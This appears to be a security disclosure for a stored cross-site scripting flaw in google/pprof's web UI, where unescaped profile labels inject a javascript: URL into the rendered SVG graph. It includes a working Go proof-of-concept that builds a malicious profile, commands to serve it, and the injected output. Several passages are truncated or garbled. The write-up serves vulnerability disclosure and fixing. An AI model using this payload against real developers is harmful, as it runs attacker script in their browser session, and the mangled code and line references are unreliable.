Stored XSS in pprof -http: a malicious profile's sample label/filename is put into the DOT graph without escapeForDot(), injecting URL="javascript:..." that Graphviz renders as a clickable SVG link.
Summary
pprof -http serves a web UI that renders an untrusted profile (developers routinely open profiles
downloaded from CI, production /debug/pprof, bug reports, or colleagues). The graph view builds a Graphviz
DOT document from profile-derived strings, runs dot -Tsvg, and embeds the SVG raw (template.HTML). Two
string fields - a sample label and a function filename are interpolated into DOT without the
escapeForDot() output-encoding that the sibling label/tooltip/edge paths use. A " in the attacker's value
closes the DOT label="…" string early, letting the attacker inject a real DOT attribute
URL="javascript:…". Graphviz turns that into an SVG <a xlink:href="javascript:…">, which renders in the
pprof web origin. Result: stored XSS - a developer who opens a malicious profile and clicks the graph node
runs attacker JavaScript in the pprof UI origin.
Affected component
- Project: google/pprof - https://github.com/google/pprof
- File / functions:
internal/graph/dotgraph.go:250addNodelets(and:277numericNodelets) - F1, sample-label tag nameinternal/graph/dotgraph.go:393multilinePrintableName(File component) - F2,Function.Filename- Rendered raw at
internal/driver/webui.go:342HTMLBody: template.HTML(string(svg))
- Verified on: current
main, commit4d45320(built from source). - Type / severity: Stored XSS (CWE-79) via improper output encoding (CWE-116); High.
Root cause
The graph is emitted as Graphviz DOT by string-formatting profile text into attr = "value" statements.
addNodelets does:
nodelets += fmt.Sprintf(`N%d_%d [label = "%s" id="%s" fontsize=8 shape=box3d tooltip="%s"]`,
..., t.Name, ..., t.Name) // t.Name interpolated RAW, no escapeForDot()t.Name is the attacker-controlled sample label (key:value, stored verbatim by joinLabels() /
findOrAddTag, internal/graph/graph.go). pprof's DOT encoder escapeForDot() escapes "→\" (and \,
newlines) specifically to stop a quote from terminating a DOT string, and the node/edge label/tooltip paths
call it (dotgraph.go:129,190,308,309,386). The two nodelet paths (and the File component at `:3
it** - an incomplete-escaping defect.
Mechanism (stage by stage)
Attacker sets a
Sample.Labelkey to:t" URL="javascript:alert(document.domain)" y="Stored verbatim as the tag
Name(no escaping).Interpolated raw into DOT:
N1_0 [label = "t" URL="javascript:alert(document.domain)" y=":v" ... ] ^ this quote closes label="t" earlyGraphviz then parses
URL="javascript:alert(document.domain)"as a legitimate node attribute.dot -Tsvgcopies theURLattribute verbatim into an SVG hyperlink:<g id="a_N1_0"><a xlink:href="javascript:alert(document.domain)" xlink:title="5"> ... </a>pprof embeds the SVG raw via
template.HTML(string(svg))(escaping bypassed; noContent-Securi on/uiresponses; the web path does not run the CLI'smassageSVG` sanitizer).The
<a href="javascript:…">is in the pprof origin's DOM; activating the node (a click - norma navigation) executes the attacker's JS in that origin.
Proof of Concept
Step 1 - build a malicious profile with the github.com/google/pprof/profile package. gen_xss.go:
package main
import ("os"; "github.com/google/pprof/profile")
func main() {
// sample-label KEY that breaks out of the DOT label string and injects URL="javascript:..."
key := "t\" URL=\"javascript:alert(document.domain)\" y=\""
m := &profile.Mapping{ID:1, File:"/bin/app"}
fn := &profile.Function{ID:1, Name:"legit_func", Filename:"/src/app.go"}
loc := &profile.Location{ID:1, Mapping:m, Address:0x1000, Line:[]profile.Line{{Function:fn, L
st := &profile.ValueType{Type:"samples", Unit:"count"}
p := &profile.Profile{
SampleType:[]*profile.ValueType{st}, DefaultSampleType:"samples",
Mapping:[]*profile.Mapping{m}, Function:[]*profile.Function{fn}, Location:[]*profile.Locati
Sample:[]*profile.Sample{{Location:[]*profile.Location{loc}, Value:[]int64{5},
Label: map[string][]string{key: {"v"}}}},
}
f,_ := os.Create("evil_xss.pb.gz"); defer f.Close()
if err := p.Write(f); err != nil { panic(err) }
}Step 2 - generate and serve (requires Graphviz dot installed):
go mod init poc && go get github.com/google/pprof/profile
go run gen_xss.go # writes evil_xss.pb.gz
go run github.com/google/pprof@latest -http=127.0.0.1:8088 evil_xss.pb.gzStep 3 - verify (no browser needed): the injected anchor is in the default graph view:
curl -s http://127.0.0.1:8088/ui/graph | grep -o '<a xlink:href="javascript:[^>]*'
# -> <a xlink:href="javascript:alert(document.domain)" xlink:title="5"Step 4 - in a browser, open http://127.0.0.1:8088/ui/graph and click the small tag/box node → alert(document.domain) executes in the pprof origin.
Observed live output (google/pprof HEAD 4d45320, with Graphviz):
### GET /ui/graph (default view) - injected anchor:
<a xlink:href="javascript:alert(document.domain)" xlink:title="5">Source: google/pprof